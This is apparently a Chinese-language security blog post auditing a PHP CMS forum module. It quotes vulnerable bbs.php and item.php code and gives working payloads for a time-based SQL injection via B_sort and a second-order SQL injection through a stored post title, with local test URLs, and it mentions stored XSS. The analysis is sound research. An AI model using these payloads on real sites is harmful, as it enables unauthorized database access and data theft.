前天晚上学长发我的这套cms,研究了下挺有意思,记录下。顺便参考原文https://www.cnblogs.com/ashe666/archive/2018/12/10/10094706.html
普通注入一枚
漏洞文件:\scms\bbs\bbs.php
$action=$_GET["action"]; $S_id=$_GET["S_id"]; if($action=="add"){ $B_title=htmlspecialchars($_POST["B_title"]); $B_sort=$_POST["B_sort"]; $B_content=htmlspecialchars($_POST["B_content"]); $S_sh=getrs("select * from SL_bsort where S_id=".intval($B_sort),"S_sh"); echo $B_sort; if($S_sh==1){ $B_sh=0; }else{ $B_sh=1; } mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sort,B_sh) values('".$B_title."','".$B_content."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$B_sort.",".$B_sh.")"); $sql="Select * from SL_bbs order by B_id desc limit 1"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_assoc($result); if (mysqli_num_rows($result) > 0) { $B_id=$row["B_id"]; } if($B_sh==1){ box("发布成功!","item.php?id=".$B_id,"success"); }else{ box("发布成功!请等待审核","./","success"); } } $_SESSION["from"]=$C_dir."bbs/bbs.php?S_id=".$S_id; $sql="Select * from SL_slide order by S_id desc limit 1"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_assoc($result); if (mysqli_num_rows($result) > 0) { if ($C_memberbg=="" || is_null($C_memberbg)){ $S_pic=$row["S_pic"]; }else{ $S_pic=$C_memberbg; } }
这个注入比较简单,首先需要注册登录拿到session,然后$B_sort无过滤直接从post中获取,虽然select查询用intval过滤了,但是后面的insert语句并没有过滤,构成注入。
payload
http://127.0.0.1/scms/bbs/bbs.php?action=add POST:B_title=test&B_content=test11&B_sort=1 and sleep(5)
二次注入
先看一下漏洞触发点:
$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_assoc($result); if (mysqli_num_rows($result) > 0) { $B_title=lang($row["B_title"]); $B_content=lang($row["B_content"]); $B_time=$row["B_time"]; $B_sort=$row["B_sort"]; $S_title=lang($row["S_title"]); $B_view=$row["B_view"]; $M_login=$row["M_login"]; $M_pic=$row["M_pic"]; $L_title=$row["L_title"]; } if(substr($M_pic,0,4)!="http"){ $M_pic="../media/".$M_pic; } $sql2="Select count(*) as B_count from SL_bbs where B_sub=".$id; $result2 = mysqli_query($conn, $sql2); $row2 = mysqli_fetch_assoc($result2); $B_count=$row2["B_count"]; if($action=="reply"){ $B_contentx=$_POST["B_content"]; $debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")"); mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")"); box("回复成功!","item.php?id=".$id,"success"); }
简单说一下逻辑,第一步执行的sql语句是查询帖子的详细内容($id帖子id)
$sql="Select * from SL_bbs,SL_bsort,SL_member,SL_lv where B_sort=S_id and B_mid=M_id and M_lv=L_id and B_id=".$id;
然后把查询到的内容各自赋给一个变量
$B_title=lang($row["B_title"]); $B_content=lang($row["B_content"]); $B_time=$row["B_time"]; $B_sort=$row["B_sort"]; ..............................
到后面判断$action==”reply”,进入回复帖子功能处
if($action=="reply"){ $B_contentx=$_POST["B_content"]; $debug("insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")"); mysqli_query($conn,"insert into SL_bbs(B_title,B_content,B_time,B_mid,B_sub,B_sort) values('[回复]".$B_title."','".$B_contentx."','".date('Y-m-d H:i:s')."',".$_SESSION["M_id"].",".$id.",".$B_sort.")"); box("回复成功!","item.php?id=".$id,"success"); }
可以看到$B_contentx=$_POST[“B_content”]无过滤,这里会触发储存xss漏洞。然而这个不是重点,继续看执行的insert语句,发现$B_title等变量都拼接了进来,没有sql过滤,而这些变量是从数据库查询出来的(帖子的标题等),然而回过头去看上面的sql注入,不就是发帖功能的地方么。所以这些变量可控,导致二次sql注入。
漏洞触发流程:
首先我们去发帖B_title的值是我们的payload,还有其他的值
B_title=’,(select user()),”,1,999,1)%23&B_content=aaaaaaaaaaaa&B_sort=1
然后我们去获取帖子id,这个没有特别好的办法只能去摸索着找,可以先根据楼层判断一共有多少帖子,然后一点一点的往后找,根据内容判断是否是我们发布的帖子
http://127.0.0.1//scms/bbs/item.php?id=帖子id
获取到帖子后去触发漏洞
http://127.0.0.1//scms/bbs/item.php?action=reply&id=帖子id B_content=test
这里我说一下payload为什么是这样的,这样构造完全是为了达到回显注入,因为后面打印回复内容的时候执行的sql注入是
$sql="select * from SL_bbs where B_sub=".$id." order by B_id asc";
而B_sub可控(在Insert的时候插入的),这样我们就能直接获取回显。
漏洞演示:
Payload1
127.0.0.1/scms/bbs/bbs.php?action=add B_title=',(select user()),'',1,666,1)%23&B_content=hello_admin&B_sort=1
Payload2
获取帖子id
http://127.0.0.1//scms/bbs/item.php?id=30
Payload3
http://127.0.0.1//scms/bbs/item.php?action=reply&id=30 B_content=test
执行完成!最后我们就可以去访问我们的回复然后拿到回显。
http://127.0.0.1/scms/bbs/item.php?id=666
这次id参数指向的是我们填的B_sub值
原创文章,作者:Y4er,未经授权禁止转载!如若转载,请联系作者:Y4er